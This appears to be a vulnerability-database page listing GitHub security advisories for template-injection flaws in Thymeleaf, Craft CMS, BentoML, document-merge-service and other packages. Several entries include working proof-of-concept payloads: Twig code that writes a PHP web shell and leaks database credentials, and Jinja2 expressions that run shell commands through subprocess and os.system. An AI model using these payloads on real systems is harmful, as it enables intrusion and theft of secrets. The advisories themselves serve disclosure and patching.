Common Weakness Enumeration

CWE-1336

Allowed

Improper Neutralization of Special Elements Used in a Template Engine

Abstraction: Base · Status: Incomplete

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

313 vulnerabilities reference this CWE, most recent first.

GHSA-R4V4-5MWR-2FWR

Vulnerability from github – Published: 2026-04-15 19:46 – Updated: 2026-04-24 20:51
VLAI
Summary
Improper restriction of the scope of accessible objects in Thymeleaf expressions
Details

Impact

A security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.3.RELEASE. Although the library provides mechanisms to prevent expression injection, it fails to properly restrict the scope of accessible objects, allowing specific potentially sensitive objects to be reached from within a template. If an application developer passes unvalidated user input directly to the template engine, an unauthenticated remote attacker can bypass the library's protections to achieve Server-Side Template Injection (SSTI).

Patches

This has been fixed in Thymeleaf 3.1.4.RELEASE.

Workarounds

No workaround is available beyond ensuring applications do not pass unvalidated user input directly to the template engine. Upgrading to 3.1.4.RELEASE is strongly recommended in any case.

Credits

Thanks to Thomas Reburn (Praetorian) for responsible disclosure.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.3.RELEASE"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.thymeleaf:thymeleaf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.4.RELEASE"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.3.RELEASE"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.thymeleaf:thymeleaf-spring5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.4.RELEASE"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.3.RELEASE"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.thymeleaf:thymeleaf-spring6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.4.RELEASE"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40477"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-917"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-15T19:46:04Z",
    "nvd_published_at": "2026-04-17T22:16:33Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nA security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.3.RELEASE. Although the library provides mechanisms to prevent expression injection, it fails to properly restrict the scope of accessible objects, allowing specific potentially sensitive objects to be reached from within a template. If an application developer passes unvalidated user input directly to the template engine, an unauthenticated remote attacker can bypass the library\u0027s protections to achieve Server-Side Template Injection (SSTI).\n\n### Patches\nThis has been fixed in Thymeleaf 3.1.4.RELEASE.\n\n### Workarounds\nNo workaround is available beyond ensuring applications do not pass unvalidated user input directly to the template engine. Upgrading to 3.1.4.RELEASE is strongly recommended in any case.\n\n\n### Credits\nThanks to Thomas Reburn (Praetorian) for responsible disclosure.",
  "id": "GHSA-r4v4-5mwr-2fwr",
  "modified": "2026-04-24T20:51:36Z",
  "published": "2026-04-15T19:46:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thymeleaf/thymeleaf/security/advisories/GHSA-r4v4-5mwr-2fwr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40477"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thymeleaf/thymeleaf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper restriction of the scope of accessible objects in Thymeleaf expressions"
}

GHSA-R8W2-W357-9PJV

Vulnerability from github – Published: 2026-01-20 18:31 – Updated: 2026-02-12 19:51
VLAI
Summary
XDocReport affected by a Server-Side Template Injection (SSTI) vulnerability
Details

A Server-Side Template Injection (SSTI) vulnerability in the FreeMarker component of opensagres XDocReport v1.0.0 to v2.1.0 allows attackers to execute arbitrary code via injecting crafted template expressions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "fr.opensagres.xdocreport:fr.opensagres.xdocreport.template.freemarker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T16:56:50Z",
    "nvd_published_at": "2026-01-20T16:16:06Z",
    "severity": "CRITICAL"
  },
  "details": "A Server-Side Template Injection (SSTI) vulnerability in the FreeMarker component of opensagres XDocReport v1.0.0 to v2.1.0 allows attackers to execute arbitrary code via injecting crafted template expressions.",
  "id": "GHSA-r8w2-w357-9pjv",
  "modified": "2026-02-12T19:51:02Z",
  "published": "2026-01-20T18:31:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64087"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opensagres/xdocreport/pull/705"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opensagres/xdocreport/commit/3b35d105e5ae2006bcaa2b07563188efc466711d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AT190510-Cuong/CVE-2025-64087-SSTI-"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opensagres/xdocreport"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/@cuongnh/BJEnw7SAlg"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/@cuongnh/SkQvhEf0lx"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XDocReport affected by a Server-Side Template Injection (SSTI) vulnerability"
}

GHSA-RQ4P-44H8-CRV3

Vulnerability from github – Published: 2026-04-17 09:31 – Updated: 2026-04-17 09:31
VLAI
Details

In JetBrains YouTrack before 2025.3.131383 high privileged user can achieve RCE via sandbox bypass

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-33392"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-17T08:16:17Z",
    "severity": "HIGH"
  },
  "details": "In JetBrains YouTrack before 2025.3.131383 high privileged user can achieve RCE via sandbox bypass",
  "id": "GHSA-rq4p-44h8-crv3",
  "modified": "2026-04-17T09:31:18Z",
  "published": "2026-04-17T09:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33392"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V45M-HXQP-FWF5

Vulnerability from github – Published: 2024-05-20 20:26 – Updated: 2024-05-20 22:07
VLAI
Summary
verbb/formie Server-Side Template Injection for variable-enabled settings
Details

Impact

Users with access to a form's settings can include malicious Twig code into fields that support Twig. These might be the Submission Title or the Success Message. This code will then be executed upon creating a submission, or rendering the text.

This is listed as low-medium severity due to requiring control panel access to edit a form's settings.

Patches

This has been fixed in Formie 2.1.6. Users should ensure they are running at least this version.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "verbb/formie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-35191"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-20T20:26:28Z",
    "nvd_published_at": "2024-05-20T21:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nUsers with access to a form\u0027s settings can include malicious Twig code into fields that support Twig. These might be the Submission Title or the Success Message. This code will then be executed upon creating a submission, or rendering the text.\n\nThis is listed as low-medium severity due to requiring control panel access to edit a form\u0027s settings.\n\n### Patches\nThis has been fixed in Formie 2.1.6. Users should ensure they are running at least this version.",
  "id": "GHSA-v45m-hxqp-fwf5",
  "modified": "2024-05-20T22:07:17Z",
  "published": "2024-05-20T20:26:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/verbb/formie/security/advisories/GHSA-v45m-hxqp-fwf5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35191"
    },
    {
      "type": "WEB",
      "url": "https://github.com/verbb/formie/commit/90296edf7e707f117e760aa57e70dbd43a854420"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/verbb/formie"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "verbb/formie Server-Side Template Injection for variable-enabled settings"
}

GHSA-V47Q-JXVR-P68X

Vulnerability from github – Published: 2026-03-03 21:00 – Updated: 2026-03-04 18:39
VLAI
Summary
Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates
Details

Summary

An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.


Proof of Concept

Attack Prerequisites

  • Authenticated administrator account with allowAdminChanges enabled, or access to the System Messages utility

Steps to Reproduce

  1. Navigate to Utilities → System Messages (/admin/utilities/system-messages)
  2. Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
    • To exploit it by writing to a file system:
      • Note: Replace the filesystem handle (e.g., hardDisk) with a valid handle configured in the target installation. twig {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
    • To exploit it by writing to a volume:
      • Note: Replace the volume handle (e.g., images) with a valid handle configured in the target installation. twig {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }} payload-injection
  3. Save & go to Settings → Email (/admin/settings/email)
  4. Click "Test" at the bottom of the page to trigger template rendering
  5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser: Note: The path might be different on your end depending on the filesystem or volume configuration. bash # For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) rce-poc

Additional Impact

The same craft.app exposure without any security measures enables additional attack vectors:

Database Credential Disclosure

Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.

{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}

Security Key Disclosure

Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.

{{ craft.app.config.general.securityKey }}

Recommended Fix

  • Add Twig sandbox rules to block write, writeFileFromStream, deleteFile, and similar destructive methods
  • Consider allowlist approach for craft.app properties accessible in templates rather than exposing the entire application

Resources

https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.9.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.17.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:00:16Z",
    "nvd_published_at": "2026-03-04T17:16:21Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAn authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.\n\n---\n## Proof of Concept\n\n### Attack Prerequisites\n\n- Authenticated administrator account with `allowAdminChanges` enabled, or access to the System Messages utility\n\n### Steps to Reproduce\n\n1. Navigate to **Utilities \u2192 System Messages** (`/admin/utilities/system-messages`)\n2. Edit any email template (e.g., \"Test Email\") and inject the following in the body (or the Subject):\n\t- To exploit it by writing to a file system:\n\t\t- **Note:** Replace the filesystem handle (e.g., `hardDisk`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.fs.getFilesystemByHandle(\u0027hardDisk\u0027).write(\u0027shell.php\u0027, \u0027\u003c?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?\u003e\u0027) }}\n\t\t```\n\t- To exploit it by writing to a volume:\n\t\t- **Note:** Replace the volume handle (e.g., `images`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.volumes.getVolumeByHandle(\u0027images\u0027).fs.write(\u0027shell.php\u0027, \u0027\u003c?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?\u003e\u0027) }}\n\t\t```\n\t\u003cimg width=\"982\" height=\"901\" alt=\"payload-injection\" src=\"https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e\" /\u003e\n3. Save \u0026 go to **Settings \u2192 Email** (`/admin/settings/email`)\n4. Click **\"Test\"** at the bottom of the page to trigger template rendering\n5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:\n\t**Note:** The path might be different on your end depending on the filesystem or volume configuration.\n\t```bash\n\t# For Filesystem\n\tcurl \"http://target.com/uploads/shell.php?c=id\"\n\t# For Volume\n\tcurl \"http://target.com/uploads/images/shell.php?c=id\"\n\t# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n\t```\n\t\u003cimg width=\"791\" height=\"440\" alt=\"rce-poc\" src=\"https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4\" /\u003e\n\n---\n## Additional Impact\n\nThe same `craft.app` exposure without any security measures enables additional attack vectors:\n\n### Database Credential Disclosure\n\nDatabase credentials are stored in `.env` outside the webroot and are not accessible to admins through the UI. This bypasses that protection.\n\n```twig\n{{ craft.app.db.username }}\n{{ craft.app.db.password }}\n{{ craft.app.db.dsn }}\n```\n\n### Security Key Disclosure\n\nCraft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, `craft.app.config.general.securityKey` bypasses this protection.\n```twig\n{{ craft.app.config.general.securityKey }}\n```\n## Recommended Fix\n- **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, and similar destructive methods\n- **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the entire application\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197\nhttps://github.com/craftcms/cms/pull/18219\nhttps://github.com/craftcms/cms/pull/18216",
  "id": "GHSA-v47q-jxvr-p68x",
  "modified": "2026-03-04T18:39:01Z",
  "published": "2026-03-03T21:00:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-v47q-jxvr-p68x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28697"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/pull/18216"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/pull/18219"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS Vulnerable to Authenticated RCE via \"craft.app.fs.write()\" in Twig Templates"
}

GHSA-V5GF-R78H-55Q6

Vulnerability from github – Published: 2024-06-11 20:22 – Updated: 2026-02-04 19:39
VLAI
Summary
document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection
Details

Impact

What kind of vulnerability is it? Who is impacted?

A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.

Patches

Has the problem been patched? What versions should users upgrade to?

It has been patched in v6.5.2

References

Are there any links users can visit to find out more?

  • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti

POC

Add the following to a document, upload and render it:

{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.

image

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "document-merge-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-37301"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-11T20:22:55Z",
    "nvd_published_at": "2024-06-11T19:16:07Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server\u0027s context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has been patched in v6.5.2\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)",
  "id": "GHSA-v5gf-r78h-55q6",
  "modified": "2026-02-04T19:39:54Z",
  "published": "2024-06-11T20:22:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37301"
    },
    {
      "type": "WEB",
      "url": "https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/adfinis/document-merge-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection"
}

GHSA-V676-FW8H-J3J9

Vulnerability from github – Published: 2025-04-09 04:18 – Updated: 2025-11-03 21:33
VLAI
Details

wikiplugin_includetpl in lib/wiki-plugins/wikiplugin_includetpl.php in Tiki before 28.3 mishandles input to an eval. The fixed versions are 21.12, 24.8, 27.2, and 28.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-32461"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-09T02:15:16Z",
    "severity": "CRITICAL"
  },
  "details": "wikiplugin_includetpl in lib/wiki-plugins/wikiplugin_includetpl.php in Tiki before 28.3 mishandles input to an eval. The fixed versions are 21.12, 24.8, 27.2, and 28.3.",
  "id": "GHSA-v676-fw8h-j3j9",
  "modified": "2025-11-03T21:33:30Z",
  "published": "2025-04-09T04:18:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32461"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/tikiwiki/tiki/-/commit/406bea4f6c379a23903ecfd55e538d90fd669ab0"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/tikiwiki/tiki/-/commit/801ed912390c2aa6caf12b7b953e200f5d4bc0b1"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/tikiwiki/tiki/-/commit/9ffb4ab21bd86837370666ecd6afd868f3d7877a"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/tikiwiki/tiki/-/commit/be8dc1aa220fbceb07a7a5dc36416243afccd358"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/tikiwiki/tiki/-/commit/f3f36c1ac702479209acfcaec5789d2fd1f996bc"
    },
    {
      "type": "WEB",
      "url": "https://tiki.org/article517"
    },
    {
      "type": "WEB",
      "url": "https://tiki.org/article518"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Jul/11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V959-CWQ9-7HR6

Vulnerability from github – Published: 2026-04-03 23:14 – Updated: 2026-06-08 20:04
VLAI
Summary
BentoML: SSTI via Unsandboxed Jinja2 in Dockerfile Generation
Details

Summary

The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.

Details

The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:

ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

This creates an unsandboxed jinja2.Environment with two dangerous extensions: - jinja2.ext.do — enables {% do %} tags that execute arbitrary Python expressions - jinja2.ext.debug — exposes internal template engine state

Attack path:

  1. Attacker builds a bento with dockerfile_template set in bentofile.yaml. During bentoml build, DockerOptions.write_to_bento() (build_config.py:272-276) copies the template file into the bento archive at env/docker/Dockerfile.template:
if self.dockerfile_template is not None:
    shutil.copy2(
        resolve_user_filepath(self.dockerfile_template, build_ctx),
        docker_folder / "Dockerfile.template",
    )
  1. Attacker exports the bento as a .bento or .tar.gz archive and distributes it (via S3, HTTP, direct sharing, etc.).

  2. Victim imports the bento with bentoml import bento.tar — no validation of template content is performed.

  3. Victim containerizes with bentoml containerize. The construct_containerfile() function (__init__.py:198-204) detects the template and sets the path:

docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"
  1. generate_containerfile() (generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
user_templates = docker.dockerfile_template
if user_templates is not None:
    dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
    user_templates = os.path.basename(user_templates)
    TEMPLATES_PATH.append(dir_path)
    environment = ENVIRONMENT.overlay(
        loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
    )
    template = environment.get_template(
        user_templates,
        globals={"bento_base_template": template, **J2_FUNCTION},
    )
# ...
return template.render(...)  # <-- SSTI executes here, on the HOST

Critical distinction: Commands in docker.commands or docker.post_commands execute inside the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, before Docker is invoked. This bypasses all container isolation.

PoC

Step 1: Create malicious template evil.j2:

{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}

Step 2: Create bentofile.yaml referencing the template:

service: 'service:MyService'
docker:
  dockerfile_template: ./evil.j2

Step 3: Attacker builds and exports:

bentoml build
bentoml export myservice:latest bento.tar

Step 4: Victim imports and containerizes:

bentoml import bento.tar
bentoml containerize myservice:latest

Step 5: Verify host code execution:

cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...

The SSTI payload executes on the host during template rendering, before any Docker container is created.

Standalone verification that the Jinja2 Environment allows code execution:

python3 -c "
from jinja2 import Environment
env = Environment(extensions=['jinja2.ext.do'])
t = env.from_string(\"{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('echo SSTI_WORKS') %}\")
t.render()
"
# Output: SSTI_WORKS

Impact

An attacker who distributes a malicious bento archive can achieve arbitrary code execution on the host machine of any user who imports and containerizes the bento. This gives the attacker:

  • Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)
  • Ability to install backdoors or pivot to other systems
  • Access to environment variables containing secrets (API keys, database credentials)
  • Potential supply chain compromise if the victim's machine is a CI/CD runner

The attack is particularly dangerous because: 1. Users may reasonably expect bentoml containerize to be a safe build operation 2. The malicious template is embedded inside the bento archive and not visible without manual inspection 3. Execution happens on the host, not inside a Docker container, bypassing all isolation

Recommended Fix

Replace the unsandboxed jinja2.Environment with jinja2.sandbox.SandboxedEnvironment and remove the dangerous jinja2.ext.do and jinja2.ext.debug extensions, which are unnecessary for Dockerfile template rendering.

In src/bentoml/_internal/container/generate.py, change lines 155-157:

# Before (VULNERABLE):
from jinja2 import Environment
# ...
ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

# After (FIXED):
from jinja2.sandbox import SandboxedEnvironment
# ...
ENVIRONMENT = SandboxedEnvironment(
    extensions=["jinja2.ext.loopcontrols"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

Additionally, review the second unsandboxed Environment in build_config.py:499-504 which also uses jinja2.ext.debug:

# build_config.py:499 - also fix:
env = jinja2.sandbox.SandboxedEnvironment(
    variable_start_string="<<",
    variable_end_string=">>",
    loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),
)
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.4.37"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "bentoml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.38"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T23:14:15Z",
    "nvd_published_at": "2026-04-06T18:16:41Z",
    "severity": "HIGH"
  },
